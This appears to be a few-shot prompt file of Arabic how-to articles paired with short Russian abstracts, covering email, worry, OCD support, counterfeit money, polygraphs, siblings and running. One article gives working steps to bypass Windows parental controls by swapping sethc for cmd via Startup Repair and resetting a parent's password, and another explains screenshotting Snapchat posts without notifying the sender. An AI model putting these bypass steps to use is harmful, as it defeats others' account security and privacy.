الرسائل. لا تشعر بأنك مضطر للرد على كل الرسائل التي تتلقاها بردود على شاكلة "شكرًا" و "طاب يومك". بشكل عام، الأمر الوحيد الذي يتوجّب عليك الالتزام به هو إعلام الشخص الآخر بتلقيك لرسالته إن كان ذلك ضروريًا. إن أرسل لك شخص ما عملًا ورقيًا مثلًا، فالأفضل هو إرسال الأوراق من جديد بعد ملئها، أو الرد برسالة تُعلم فيها الشخص بالوقت الذي سترسل فيه الأوراق له من جديد. رسائل البريد الإلكتروني مصمّمة للتواصل السريع لمرة واحدة، حيث تُستخدم رسائل البريد الإلكتروني في المواقف التي لا تحتاج فيها لأكثر من 2-3 رسائل لإنهاء المحادثة. إن كنت بحاجة لإرسال الكثير من الرسائل أو كنت تمتلك أكثر من محادثة واحدة، فالاعتماد على خيارات أخرى كمقابلة الشخص أو محادثته على الهاتف سيوفّر الكثير من الوقت ويقلّل من عدد الرسائل التي يتوجّب عليك مُطالعتها. إن كنت ترغب بتقليل الوقت الذي تقضيه للتعامل مع بريدك الإلكتروني وتقليل كمية الرسائل التي يتوجّب على الآخرين قراءتها، جرّب تحديد حدّ لعدد الرسائل التي ترسلها يوميًا. سيدفعك ذلك للتفكير قليلًا بأهمية الرسائل التي ترسلها، وما إن كنت بحاجة لإرسالها أم لا.  إن فكرت في أنك مضطر لإرسال رسالة لمديرك لاحقًا، لن تفكّر حينها في إرسال رسائل غير ضرورية لأشخاص آخرين. إن كنت ترغب بإرسال رسائل جماعية لأشخاص كُثُر، هناك طرق أفضل لفعل ذلك. جرّب ترك ملاحظة على الثلاجة ليقرأها الجميع مثلًا.

Now, please write a short abstract for it in Russian. Abstract:

Установите время для проверки электронной почты. Не пишите письма просто из вежливости. Используйте другие средства связи. Ограничьте количество писем, отправляемых ежедневно, если вы хотите сэкономить время на работу с электронной почтой и уменьшить количество электронных писем.


First, read the Arabic article below.

من باب التزام الحذر، أرسل منشور Snapchat لنفسك، وجرّب هذه الطريقة على منشورك أولًا حتى تتأكد من نجاحها قبل تجربة ذلك مع منشورات شخص آخر. يمكن استخدام هذه الطريقة على القصص أيضًا، ولكن اختبرها على قسم القصص الخاص بك أولًا. يمكن أن تنجح هذه الطريقة مع منشورات Snapchat وليس القصص (Stories) مع بعض الأشخاص. يقوم وضع الطيران بتعطيل اتصالك بالإنترنت، ويؤدّي ذلك إلى منع تطبيق Snapchat من إرسال تنبيه للشخص الآخر.  جهاز Apple: مرّر أصابعك نحو الأعلى من الجهة السفلية من الشاشة وانقر على رمز وضع الطيران (airplane)، أو اتبع الإرشادات التالية.  جهاز Android: على معظم الأجهزة، توجّه إلى الإعدادات Settings، ثم انتقل إلى قسم الشبكات والاتصال اللاسلكي (Wireless and Networks) وانقر على خيار المزيد More، ثم فعّل الخيار أو المفتاح الموجود إلى جوار وضع الطيران بعد تفعيل وضع الطيران، من المفترض أن يعرض تطبيق Snapchat شريطًا باللون الأحمر أعلى الشاشة: "Could not refresh. Please try again." إن لم تتمكن من رؤية هذا الشريط الأحمر، فإنك لا زلت متصلًا بالإنترنت. تأكد من أن وضع الطيران مفعّل، ومن أن الاتصال اللاسلكي معطّل. افتح المنشور الذي ترغب بالتقاط صورة له. تذكّر: يُنصح بتجربة ذلك مع منشوراتك أولًا. يمكن تنفيذ ذلك على معظم الأجهزة من خلال الضغط على زر التشغيل والزر الرئيسي (Home) في نفس الوقت.  إن لم ينجح ذلك، اطّلع على هذه التعليمات الخاصة بأجهزة iPhone و Android. ابتداءً من 2 يوليو 2015، لا حاجة للنقر باستمرار على الصورة عند التقاط لقطة الشاشة. انقر على أيقونة الدولاب الموجودة أعلى الجهة اليمنى لفتح قائمة إعدادات التطبيق (Settings). توجّه نحو أسفل القائمة واختر خيار تسجيل الخروج Log out. سيستمر التطبيق بالعمل في الخلفية حتى بعد العودة إلى الشاشة الرئيسية، ويتوجب عليك إغلاقه تمامًا لتجنّب إرسال التنبيه:  جهاز Apple: انقر نقرًا مزدوجًا على الزر الرئيسي (Home)، وحرّك إصبعك من الجهة اليسرى إلى اليمنى أو العكس على صورة التطبيق لإغلاقه.  جهاز Android: اضغط على زر التطبيقات المستخدمة حديثًا أسفل الشاشة وقم بإغلاق التطبيق عن طريق تحريكه نحو الجهة اليمنى. إن لم تكن تمتلك هذا الزر، أو إن كان التطبيق يقوم بإرسال التنبيهات على الرغم من ذلك، جرّب أحد الطرق المذكورة هنا. انتظر لبضع ثوانٍ على الأقل قبل الاستمرار. لن تنجح الطريقة إن اتصلت...

Now, please write a short abstract for it in Russian. Abstract:

Для начала поэкспериментируйте с собственным Snapchat, то есть отправьте Snapchat самому себе и используйте его, чтобы быть уверенным, что этот метод работает. Включите автономный режим. Включив автономный режим, в верхней части экрана отобразится красная строка со следующем сообщением: Откройте Snapchat, скриншот которого вы хотите сделать. Сделайте скриншот. Выйдите из Snapchat. Закройте приложение Snapchat. Дождитесь завершения работы приложения. Выключите автономный режим в настройках устройства. Откройте Snapchat.


First, read the Arabic article below.

من شأن قراءة كتاب أو مشاهدة فيلم أن تكون طرق مثالية لكي تنس همومك، اختر قصة مؤثرة من النوع الذي تُفضله.   انتقِ كتابًا (أو فيلمًا) يسهل مُتابعته، بهذه الطريقة ستحظى بوقت أسهل لتندمج في السرد. روايات الشباب من شأنها أن تكون خيارات جيدة لعدة أسباب منها: (1) سهولة قراءتها (2) العديد منها يأتي في سلاسل (3) العديد منها يُنتج على هيئة كتب وأفلام. اطّلع على كتب مثل "سلسلة ما وراء الطبيعة" و"هارى بوتر". يمكنك بسهولة أن تبعد عنك الأفكار المزعجة عن طريق السفر ذهنيًا إلى "مكانك السعيد"، ربما يكون مكان سافرت إليه بالفعل ذات مرة، أو مكان لم تذهب إليه قط، السفر إلى مكانك السعيد لبضع دقائق طريقة رائعة لكي تُريح بالك وتنسى ما يقلقك.  أغلق عينيك. أرخِ عضلاتك. فكّر في مكانك السعيد. استوعب من التفاصيل قدر ما تستطيع: ماذا تسمع؟ ماذا ترى؟ كيف تبدو الروائح؟ ما هو إحساس الهواء على بشرتك؟ اقضِ بعض الوقت هنا. كرر هذا الروتين أي عدد من المرات تحتاجه حتى تشعر بالراحة. الموسيقى لها أثر هام على المشاعر الإنسانية، كما أن الأغاني الحزينة من شأنها أن تجلب الحُزن، فإن الأغاني السعيدة يمكنها أن تُبقى المشاعر السلبية بعيدًا، انسَ همومك عن طريق سماع بعض الأغاني المُبهجة، إذا قُمت بتشغيلها بصوت عالِ بما فيه الكفاية، أو قم بالغناء بالتزامن معها، وسوف تساعدك على نسيان همومك. يمكنك مُضاعفة التأثير المُدمر للتوتر عبر الوقوف والرقص. إذا رغبت أن تبعد تفكيرك عن المشاكل، اتصل بأحد أصدقاءك، وركّز في المحادثة على صديقك، اسأله وحاول أن تبدي اهتمامًا بالأجوبة، بإمكان الدردشة مع صديق أن تُحسّن مزاجك، وتشتت انتباهك عن مشاكلك.   اسأله عن عمله. اسأله عن أي تغييرات حديثة في حياته. اطلب منه أن يحكى لك عن تجربة ممتعة مَرَ بها حديثًا. حاول أن تغرِق الأفكار السلبية بالأفكار السعيدة، فكّر في العديد من الأفكار السعيدة حتى تزول كل الهموم عن بالك  ابدأ بالإشادة بالأشياء التي تحبها في نفسك (حتى الأشياء الصغيرة جدًا)، وانتقل إلى الإشادة بالأشياء التي تحبها في حياتك بشكل عام.   على سبيل المثال، يمكنك أن تُفكر في أفكار من قبيل، "لديّ شعر جميل" أو "أنا لا أمرض أبدًا" أو "أنا أُجيد لعب كرة السلة". على سبيل المثال، يمكنك أن تُفكر في أفكار من قبيل: "أنا أعيش في مدينة جميلة"، "أبى وأمي لا يزالان على قيد الحياة"، "أنا لن أجوع ابدًا". المشكلات عادةً ما تظهر بوضوح عندما نركز...

Now, please write a short abstract for it in Russian. Abstract:

Погрузитесь в вымышленный мир. Отправляйтесь в “приятное место”. Послушайте музыку. Позвоните другу. Думайте о хорошем. Практикуйте осознанность.


First, read the Arabic article below.

من طرق تحفيز محبوبك ليطلب العلاج أن تساعده في موازنة منافع وأضرار التغير. إذا لم يزل الشخص قليل العزم على العلاج، فجرب بعض الآتي:  أحضر مواد تعليمية إلى المنزل. شجع الشخص بذكر نفع العلاج. ناقشا الطرق التي تواءمتم بها مع السلوكيات الوسواسية. اقترح الانضمام لمجموعة دعم. دعمك أحد أهم جوانب مساعدة المصاب بالوسواس؛ لأنه سيرفع عن كاهله بعض العبء ويساعده على إيجاد أفضل علاج متاح. أكد على مناقشة خيارات العلاج مع محبوبك بهدف طرحها كموضوع للمناقشة.  تأكد من أن يعلم محبوبك أن مرض الوسواس قابل جدًا للعلاج وأن أعراضه وضيقه يمكن التقليل منهم كثيرًا. يمكنك سؤال طبيب عن معلومات أكثر عن علاج اضطراب الوسواس القهري وكذلك عن مختصي الطب النفسي في منطقتك. لا تفرض عليه شيئًا، بل تناقش معه في طرق العلاج المختلفة وعن أيها أنسب لحالته هو. من هذه الطرق العلاج الدوائي؛ والعلاج السلوكي المعرفي؛ والدعم والتثقيف الأسري. أظهرت أنواع متعددة من الأدوية نجاحًا في علاج الوسواس القهري وتعمل على التحكم في بعض الأعراض، لكنها لا تشفي من المرض. العلاج السلوكي المعرفي؛ والعلاج بالتعريض ومنع الاستجابة هما الطريقتان المختارتان في العلاج، سواء مع الدواء أو بدونه. يفيد التعريض ومنع الاستجابة في تحسين أعراض الوسواس القهري، فهو يساعد المريض بالتدريج على الامتناع عن القيام بالطقوس. قد يفيد العائلة كلها العلاج العائلي، حيث يوفر مكانًا آمنًا لمناقشة الأحاسيس وتقديم الدعم. للوصول للعلاج الأكثر فعالية، ينبغي الاستعانة بطبيب نفسي (طب) أو معالج نفسي (علم نفس) أو مرشد نفسي مرخص. أظهرت دراسات أن دخول العائلة في العلاج يساعد على تقليل أعراض الوسواس. إذا أمكن، استشر من يتخصص في الوسواس القهري أو على الأقل لديه خبرة في معالجة هذا الاضطراب. عند اختيار الطبيب، تأكد من السؤال عن خبرته في الوسواس القهري. تظهر دراسات أن اشتراك العائلة في عملية التدخل العلاج السلوكي للوسواس يساعد على تقليل أعراضه.  للعلاج العائلي أن يشجع على التواصل البنّاء وتقليل الاستياء.  يمكنك مساعدة محبوبك على كتابة يومياته وتدوين أفكاره وهو ما قد يساعد على متابعته الوساوس والأفعال القهرية. على الرغم من أن فكرة تناول محبوب لدواء نفسي قد تقلق البعض، احرص على أن تدعم تقييم الطبيب. لا تنتقص من التعليمات الخاصة بالدواء الذي وصفه الطبيب. لا تحاول التحكم في محبوبك. أقرّ بأنك فعلت ما بوسعك وأنْ ليس بإمكانك...

Now, please write a short abstract for it in Russian. Abstract:

Стимулируйте человека лечиться. Обсудите варианты лечения, чтобы предложить возможность профессиональной помощи. Чтобы получить эффективное лечение, сопровождайте своего близкого человека к психиатру или психологу. Вовлекайте членов семьи в процесс лечения. Следите за тем, чтобы лекарства принимались, как было предписано. Двигайтесь дальше по жизни, если ваш близкий человек отказывается от лечения.


First, read the Arabic article below.

من غير القانوني حيازة أو إنتاج أو استخدام العملات المالية المزيفة؛ إذا تم الإمساك بك ونجح المدعي العام في إثبات النية المسبقة للاحتيال، فإن القوانين الجنائية لمختلف الدول تنص على توقيع عقوبة قاسية عليك، قد تصل إلى 20 عام من السجن.   إذا تم تمرير أحد العملات المزيفة إليك، فامتنع عن محاولة تمريرها بدورك خلال معاملة مالية لطرف ثالث، وتأكد من اتباع التعليمات التالية. تفقد الأوراق المالية في حالة شعورك بالشك. وتذكر جيدًا مصدر هذه الأموال بحيث تقدر على توجيه المساءلة إليه.   في حالة حصولك على أموال مزيفة، فيجب عليك أن تقوم بتقديمها إلى الجهات الحكومية المالية أو القضائية المختصة. عدم الإبلاغ عن الأوراق المالية المزيفة، ومحاولة استخدامها في التعاملات المالية، يجعلك عرضة للإبلاغ عنك من شخص آخر بسبب تعاملك بعملات مالية مزيفة. في حالة تمكنت من ذلك، قم بتعطيل الشخص الذي يمنحك الأموال المزيفة بحيث تقدر على تذكر مظهره وملامحه قدر المستطاع. لاحظ كذلك أي صحبة أو أفراد متواطئين معه. وقم بتسجيل أي شيء دال على هويته، رقم البطاقة أو رقم لوحة السيارات أو ما شابه.   الشخص الذي يمنحك الأموال المزيفة قد لا يكون هو المزور الأصلي. قد يكون مجرد مواطن بريء تعرض إلى الاحتيال وتم تمرير الأموال المزيفة إليه. قد يكون من المستحيل في بعض الحالات أن يتم ربط العملة الورقية بالشخص الذي قام بدفعها إليك، لذلك قد يكون من المفيد أن تقوم بفحص العملة الورقية في اللحظة التي يتم تقديمها إليك في الحال. على سبيل المثال، العديد من  الصرافين في المحلات الكبيرة يقومون بفحص الأوراق المالية من الفئات الكبيرة قبل تحصيلها. بهذه الطريقة، يقدر الصراف على الربط بين العملة المزورة ومصدرها (الشخص الذي يحاول الدفع من خلالها). قم بالإبلاغ الفوري في قسم الشرطة المحلية أو قسم القضايا المالية أو المكتب الميداني للخدمات بالغة السرية. يمكنك أن تجد الأرقام الخاصة بهذه الأقسام الشرطية في الصفحات الأولى لدليل الهواتف المحلية أو عن طريق البحث عبر الإنترنت. قم بوضع العملة بحرص في غطاء حماية (ظرف أو غلاف بلاستيكي). يجب مراعاة هذا الأمر حتى تقدر السلطات المعنية على جمع أكبر قدر ممكن من المعلومات من على الورقة المالية: بصمات الأصابع، المركبات والمواد الكيميائية المستخدمة، طريقة الطباعة.. إلى آخره. بهذه الطريقة سوف تتجنب اختلاط العملات المزيفة مع العملات الصحيحة. اكتب اسمك وتاريخ...

Now, please write a short abstract for it in Russian. Abstract:

Не подделывайте деньги. Запомните человека (его внешность в деталях), от которого вы получили фальшивую банкноту. Обратитесь в соответствующие органы власти. Получив и распознав фальшивую купюру, немедленно положите ее в конверт или туда, где вы не сможете прикасаться к ней. Напишите необходимую информацию. Заполните специальную форму. Сдавайте фальшивые банкноты или монеты только уполномоченным сотрудникам полиции или ФСБ.


First, read the Arabic article below.

من غير المتوقع أن يكون الشخص الخاضع لجهاز كشف الكذب في حالة من الهدوء حتى مع برائته، على هذا الأساس نجد أنه من الضروري أن تسمح لنفسك بالشعور بالقلق والتوتر حتى يتمكن مسئول الفحص من تسجيل استجاباتك بدقة فيما يخص قولك الحقيقة والكذب.   لا تظهر الخطوط على شاشة الجهاز في شكل خط مستقيم غير منحني حتى في حالة قولك للحقيقة. الجدير بالذكر أن الشخص الذي يشعر بالقلق مع كل إجابة هو أكثر الأشخاص الذين يجتازون الاختبار بصدق. تحل بالصدق إذا كنت بريئا ولا تخفي أي من الحقائق التي قد تخجل منها، يتضمن هذا الأسئلة التحكمية التي يميل الأشخاص إلى الكذب فيها، ولكن الحقيقة أنك كلما كنت صادقًا كلما كانت النتائج أكثر دقة. هذا بالطبع أمر جيد طالما كنت بريئا بالفعل.  يظن البعض أن هناك أسئلة ضمن الاختبار تهدف إلى خداع الشخص وإظهاره بشكل مُذنب، لكن الحقيقة أن هناك قواعد أخلاقية تنظم هذه العملية وتنص على ضرورة أن تكون الأسئلة مباشرة دون أيّة أسئلة مفاجئة أو غير متوقعة. استمع إلى السؤال كاملاً وأجب عليه بدقة. لا تستمع إلى جزء من السؤال وحسب ومن ثم تجيب عليه بناء على توقعك لمعناه بدلاً حقيقة السؤال الفعلية. يُمكنك أن تطلب من مسئول الفحص أن يكرر السؤال الواحد من مرتين إلى ست مرات على حسب الشخص بالطبع، احرص على معرفة قاعدة تكرار السؤال قبل بدء الاختبار. لا تتعجل الإجابة حتى لا يتسبب ذلك في التأثير على نتائج الاختبار. تستغرق عملية الاستجواب في الاختبار مدة ما بين خمس إلى عشر دقائق ولكن تختلف في كثير من الأحيان بناء على طلبك لتكرار الأسئلة أو الوقت الذي تستغرقه في الإجابة وبالطبع طبيعة الاختبار والسبب وراء خضوعك له.

Now, please write a short abstract for it in Russian. Abstract:

Позвольте себе нервничать. Говорите правду. Не торопитесь.


First, read the Arabic article below.

من غير المرجح حذف المراقبة الأبوية بالكامل على حاسوبك لأنك ستفقد كل إعدادات الحساب. سيعطيك إلغاء المراقبة مؤقتًا خيارًا لاستعادة المراقبة ثانيةً عند الحاجة.  قم بالولوج إلى حساب المشرف. اسحب المؤشر لأسفل حتى الوصول إلى قسم الإضافات واختر التحكم في المراقبة الأبوية. حرّك الزر لإيقاف المراقبة الأبوية أو أعد تحريكه مرة أخرى لإعادة تشغيله. قد يتطلب تنفيذ الإعدادات الجديدة حوالي 10 دقائق. تحذير: سيغير هذا كلمة مرور المشرف.  أعد تشغيل حاسوبك. أوقف تشغيله عن طريق سحب قابس الكهرباء بمجرد أن يبدأ في العمل ثانيةً. أعد تشغيل حاسوبك ثانيةً. سيتوفر لك خيار إصلاح بدء التشغيل، فاختره. اضغط إلغاء عندما يسألك عما إذا كنت تود استعادة نظامك. ملاحظة: سيعمل برنامج إصلاح بدء التشغيل الآن لمدة 5-10 دقائق. سيكون أمامك خياران عندما ينتهي البرنامج: إرسال معلومات بخصوص هذه المشكلة، أو عدم إرسال معلومات. تجاهل الخيارين واضغط على السهم الموجود بجوار عرض تفاصيل المشكلة. حرك المؤشر لأسفل حتى الوصول إلى الرابط الأخير: X:\windows\system32\en-US\erofflps.txt. اضغط عليه لفتح ملف نصي. اذهب إلى قائمة ملف ثم فتح بواسطة الملف النصي. اضغط على أيقونة الحاسوب واختر القرص المحلي. اضغط على الويندوز ثم غير "الملفات من هذا النوع" إلى "كل الملفات". افتح مجلد system32 وابحث عن ملف يسمى sethc. اضغط على زر الفأرة الأيمن وأعد تسميته. أضف 0 في نهاية الاسم ثم احفظ الملف. ابحث عن ملف يسمى cmd وانسخه. حرك المؤشر لأسفل والصقه لصنع نسخة أخرى منه. اضغط بالزر الأيمن على الملف الجديد وقم بتسميته sethc وحفظه. أغلق صندوق الملف المفتوح والملف النصي. اختر "عدم إرسال إلى برنامج إصلاح بدء التشغيل" ثم إنهاء. سيتم إعادة تشغيل حاسوبك الآن. اضغط على زر shift خمس مرات متتالية في شاشة الدخول وسيظهر لك صندوق إصدار الأوامر. اكتب اسم المستخدم الخاص بوالديك * ولا تنسى ترك مسافة قبل النجمة ثم اضغط إدخال. ملاحظة: بدل المسافة الموجودة في اسم المستخدم بعلامة _. كمثال: اسم_المستخدم. يمكنك الآن تغيير كلمة السر أو اضغط إدخال مرتين لعدم تحديد كلمة سر. سجل الدخول الآن واتبع التعليمات الموجودة في الخطوة الأولى لإلغاء المراقبة الأبوية.

Now, please write a short abstract for it in Russian. Abstract:

Вы можете временно отключить родительский контроль при помощи пароля администратора. Отключите родительский контроль без пароля администратора при помощи средства «Восстановление запуска» (Startup repair).


First, read the Arabic article below.

من لا مأوي لهم أفراد يعانون من ظروف صعبة تعرضهم بشكل دائم للضعف والحياة الغير آدمية والغير مستقرة. بدلًا من إساءة فهمهم والتغاضي عن النظر لمشاكلهم، عليك أن تقدم لهم المساعدة. تقديم المساعدة لهؤلاء الأفراد سواء في المجتمع المحلي أو حول العالم، سوف يحسن من وضعية حياتهم ويساعدهم على خلق حياة أفضل أكثر استقرارًا وفي مدن أفضل وأكثر آمنًا. ما يعود بالنفع علي حياتهم الخاصة وعلى حياة كل البشر بشكل عام. وعلى وضعية العالم كله. النساء من الجماعات المستضعفة بشكل تقليدي. وعلى الرغم من أن الوضعية قد تحسنت في العديد من البلدان والمجتمعات الحديثة، لكن حتى في أكثر البلدان المطبقة للعدالة النسوية مازالت النساء تعانين من عدم المساواة في الأجور وإعتداءات عدم تحقيق التكافئ. افعل كل ما بوسعك من أجل مساعدة النساء، ليس فقط في مجتمعات العالم الثالث، ولكن حتى في أماكن عملك وفي بيتك ومدينتك. تذكر، بواسطة خلق مجتمع متكافئ يحقق المساواة بين الجنسين، فنحن نفتح الباب للمزيد من الفرص للجميع.

Now, please write a short abstract for it in Russian. Abstract:

Помогайте бездомным людям Помогайте женщинам


First, read the Arabic article below.

من مصادر الحرية القابلية لخوض تجارب جديدة لأنها توسع مداركك وتكسبك متعة اكتشاف مواهبك الدفينة وجعلك مقبلاً على الحياة.  انظر للتجارب الجديدة على أنها فرص عوضًا عن النظر إليها كعوائق أو مصادر للقلق. قبل أن تبدأ في تلك التجارب احسم قرارك النابع من داخلك. هنيء نفسك من وقت لآخر وجرب القيام بأشياء جديدة وأخبر الجميع بما قمت بتحقيقه ليقوموا بدعمك وتشجيعك، كما أن حكي قصتك قد يلهم غيرك لتحقيق ذواتهم. فالمشي في الشارع في يوم سيء قد يصبح ممتعًا في وجود موسيقى جميلة في الخلفية. كلما كبرنا وزادت مسئولياتنا بسبب العمل والأطفال والقيود الاجتماعية كلما قلت التصرفات التلقائية من حياتنا. اكسر تلك القيود المجتمعية لمرة وافعل شيئًا غير متوقع واستعد روح التلقائية والاندفاع كي تحدث بعض التوازن المطلوب.  تابع ما تقوم به مجموعة Improv Everywhere من أشياء طريفة كجعل أكثر من مئتين شخص يجوبون شوارع المدينة حاملين لعبة "الكلب الخفي" والتظاهر أنهم يصطحبون كلابًا حقيقية، فكر خارج الصندوق وعش بحرية واجعل الناس يحدقون بك غير مصدقين لما تراه أعينهم. ابحث عن فيديوهات flash mob على الانترنت وشاهد التصرفات الطريفة التي قام بها بعض الناس لإضفاء المرح والسعادة على الحياة اليومية. امشِ بغير وجهة ولا تتوقف دون حاجة. المشي بلا هدف محدد أمر عظيم. لا ضير في أن تقوم بالاندفاع أحيانًا. تناول فطيرة كاملة على الإفطار أو أحلق شعر رأسك دون تحذير. فجِّر المفاجآت وغير روتينك كي لا تمل ولتجديد الحماس. ابحث عن الأشياء التي تجد فيها شغفك كالكتابة أو الرسم أو ممارسة رياضة ما ومارسها بانتظام، لا يهم إن لم تكن تجيدها الأهم أنك تحب فعلها. واسمح لنفسك بالاندماج معها كليًا وأخبر أفراد عائلتك عنها، أقنع أصدقائك بتجربتها. حاول جعل حياتك تتمحور حولها.

Now, please write a short abstract for it in Russian. Abstract:

Делайте что-нибудь новое, и как можно чаще. Представьте, что у вас есть музыкальный фон, на котором протекает ваша жизнь. Сделайте что-нибудь возмутительное или спонтанное. Гуляйте. Поощрите случайный импульс. Регулярно делайте что-то, чем вы действительно увлечены.


First, read the Arabic article below.

من مهام الأخت الكُبرى الجيدة أن تخصص وقتًا للأخوة الصغار لتعبري لهم عن مدى اهتمامك بهم من خلال تصرفاتك. شجّعي أختك مثلًا إذا كان لديها امتحان هام أو مقابلة عمل واحرصي على التواجد في المناسبات الهامة قدر المستطاع مثل حضور الاحتفالات التكريمية إذا كانت أختك ستنال جائزة ما.  أحضري لها بطاقة تهنئة أو هدية لإعلامها بمدى فخرك بها. قولي لها "حظًا سعيدًا في الاختبار اليوم" أو "مبارك حصولك على الميدالية الذهبية في السباحة، أنا فخورة بكِ للغاية." اذهبا بين الحين والأخرى لتناول الغذاء أو العشاء سويًا، يمكنكمت الذهاب لتناول الطعام دون تخطيط مسبق أو ربما تتفقا على تقليدٍ أسبوعي أو شهري لقضاء بعض الوقت سويًا. استغلا هذا الوقت للتحدث وتجنبا هواتفكما المحمولة.  اصطحبي أخوتك في نزهة بالسيارة لتناول الشطائر أو المثلجات إذا كان مسموحًا لكِ بالقيادة. إذا كنتِ تحت السن القانوني للقيادة أو لا تريدين التنزّه بالسيارة فيمكنك إعداد بعض الشطائر مع أختك وتناولهما في نزهة لطيفة في إحدى الحدائق. اقضِ وقتًا ممتعًا مع أخوتك واذهبوا مثلًا لرؤية فيلمًا تحبونه في السينما، أو اصطحبي أختك  للتسوق بحثًا عن فستان لحفل التخرج خاصتك.  اذهبوا للركض سويًا أو اقضوا يومًا على الشاطئ أو اذهبوا للعب البولينج. استمتعوا بالأعمال اليدوية. ابدأوا في التخطيط لمشروع جديد سويًا أو يمكنك تعليمهم إحدى المهارات اليدوية التي تتقنيها. يمكنكِ مشاركة أسرارك الخاصة مع أخوتك إذا كانوا أهلًا للثقة، سيشجعهم هذا على الوثوق بكِ بدورهم وإخبارك بأسرارهم. ضعي أعمارهم في الاعتبار ولا تفصحي عن شيء غير مناسب لسنهم.  يمكنك مثلًا إذا كانت أختك فوق سن ١٣ سنة أن تخبريها عن أول مرة أحببتِ فيها شابًا. احتفظي بأسرار أخوتك طالما لا يُشكّل الأمر خطرًا عليهم ولا يُهدد صحتهم أو سلامتهم، في هذه الحالة عليكِ بالتحدث معهم وإخبارهم لما يجب عليهم الإفصاح عن الأمر ثم اذهبي معهم لإخبار والديكما أو شخص كبير في السن في موضع مسئولية. تحدث المشاكل بين الأخوة دائمًا حتى لو كنتِ الأخت الكبرى المثالية، حينها يجب عليكِ الاستماع إلى وجهة نظرهم واحترام الاختلاف بينكم. حاولي الحفاظ على هدوئك وتنفسي بعمق إذا تصرفوا بشكلٍ استفزازي. يمكنك مثلًا أن تقولي لأختك "لقد أزعجني استعارتك لقميصي دون إذن مني في ذاك اليوم، أنا لا أمانع مشاركتي ملابسي ولكن يجب عليك الاستئذان أولًا." احرصي على التواصل مع أخوتك إذا كنتم لا...

Now, please write a short abstract for it in Russian. Abstract:

Поддерживайте своих младших братьев и сестер, когда у них какие-то важные мероприятия. Вместе обедайте или ужинайте. Займитесь чем-нибудь интересным. Делитесь секретами. Обсуждайте разные проблемы. Старайтесь общаться хотя бы раз в неделю, если вы не живете вместе.


First, read the Arabic article below.

مهم جدًا أن تتذكر دائمًا أنك كشخص وحياتك عبارة عن أعمال لم تنتهي بعد حتى تستطيع أن تشعر بشعور جيد تجاه نفسك، فطالما أنك تتطور أو تسعى للتطور فأنت تقوم بالفعل الصائب تجاه نفسك وحياتك، وكلما زِدت من تحفيز نفسك خلال هذا التطوير كلما أقنعت نفسك أنك تستحق أن تشعر بشعور جيد. ردد على مسامعك تلك الجملة " التطوير لا الكمال" عدة مرات باليوم إن كان هذا سيساعدك. اكتب في يومياتك كل الصفات التي تظن أنها ذات قيمة وتريدها أن تتوافر فيك، واجتهد كل يوم على أن تحاول بل وتكون تلك القيمة التي تريد أن تراها في نفسك وحياتك، لأنك عندما تعرف بالتحديد ماذا تريد أن تكون وما قيمة التطوير الذي تريد أن تطوره بنفسك بدلًا من أن تسعى للكمال ستستطيع حينها أن تبني اعتزازك بذاتك وترضى عن تحقيقك لتلك الأهداف. اخطو خطوة للوراء لتنظر إلى علاقاتك الاجتماعية الصعبة لتحدد إن كانت تلك العلاقات تساعدك على أن تشعر بشعور جيد أما أنها تعيق ذلك، وذلك لأنك تحتاج لأن تحيط نفسك بأشخاص يؤمنون بك، ويجعلونك تشعر أنك تستحق الحياة، ويعلون من قدرك كي تستطيع أن تبني  شعورك بالاعتزاز بنفسك، لذلك إن وجدت أنك مُحاط بأشخاص سلبيين فأقدِم على بعض الخطوات لتحدد إن كان أولئك الأشخاص يناسبونك أم لا؛ وقد تتناقش مع أولئك الأشخاص مثلًا بخصوص الطريقة التي يعاملونك بها والشعور الذي تبثه فيك تلك المعاملة، وأخيرًا فإن الأمر يعود إليك أن تقرر الأشخاص الذين تريدهم أن يحيطوا بك كي تبني لنفسك نظام دعم نفسي قوي ملئ بالأشخاص الإيجابيين والداعمين لك؛ فتلك طريقة رائعة تبني بها اعتزازك بنفسك وتشعر من خلالها بشعور جيد تجاه حياتك. قم بالتربيت على كتفك واعترف بكل الصفات السوية التي تمتلكها؛ فإن كان هدفك لهذا اليوم أن تبتسم بوجه شخصيْن غريبيْن عنك وفعلت ذلك فامدح نفسك لأنك نشرت الإيجابية، فأنت لا تعلم حقًا من كان بحاجة لتلقِّي ابتسامة خلال هذا اليوم، فابنِ نفسك بطريقة واقعية ومرنة من خلال حرصك على الاعتراف بالقيمة التي تضيفها لهذا العالم.

Now, please write a short abstract for it in Russian. Abstract:

Стремитесь к прогрессу, а не к идеалу. Опишите, каким человеком вы хотите быть. Сторонитесь негативных людей. Хвалите себя.


First, read the Arabic article below.

مهما قرأت عن كيفية الاستعداد للركض، لن يضاهي هذا الممارسة العملية. لديك الكثير من الوقت لشراء ما يلزمك والتدرب لتطوير نفسك. قد تمتلك أفضل حذاء رياضي بالعالم، لكنه لن ينفعك إن لم تبدأ بالركض بالفعل.   يمكنك ممارسة الركض في أي مكان، على الأرصفة أو في الحدائق أو حول أحد المسارات المخصصة في المدارس. ابتعد عن الطرقات قدر الإمكان، إذ تكون حركتك عند الركض سريعة لدرجة يصعب على السائقين والمشاة إدراكها. إن كان لديك عضوية في أحد الأندية الرياضية، يمكنك الركض هناك على جهاز السير. قد يزعجك حركة جسمك أثناء الركض قليلًا في البداية، لا تقلق فهذا طبيعي. أنت تعرض عضلات جسمك لحمل لم تعتد عليه من قبل. ستقوي المداومة على الركض عضلات جسمك لتتكيف مع هذا الحمل مع الوقت. لست بحاجة لحذاء رياضي فاخر، سيفي حذائك القديم بالغرض. إن كنت تخطط للمداومة على برنامج شاق للركض، وقتها قد تحتاج لشراء حذاء رياضي خاص للركض.  ارتد ملابس رياضية مريحة وبسيطة عند الركض : سروال رياضي قصير وقميص وحزام شادٌ للصدر إن لزم الأمر. لا ترتد شيئًا ثقيلًا أو مقيّد. ارتد جوربًا، ستتعرق قدماك وسيحميها الجورب من الاحتكاك بجدار الحذاء. يقلل الركض حافيًا من خطر الإصابة، لكن يجب أن تمارسه على سطحٍ ناعم لا يؤذي قدميك.إن كنت تعيش بالقرب من الشاطئ أو أحد المساحات الخضراء، يمكنك الركض حافيًا. احذر من قطع الزجاج المكسور أو أي شيء حاد بصفة عامة. مرةً أخرى: أدّ الإطالات من وضع الحركة أثناء الإحماء، ولتكن الإطالات من وضع السكون بعد الانتهاء من الركض.  لتكن فترة الإحماء من 5ل10 دقائق قبل وبعد الركض، سيحميك هذا من خطر الإصابة بالشد العضلي. أدِّ الإطالات من وضع الحركة بمختلف أنوعاها كما ذُكر من قبل. ركّز على أداء الحركات بشكلٍ سليم، أنت تُعد جسدك للقيام بنشاط 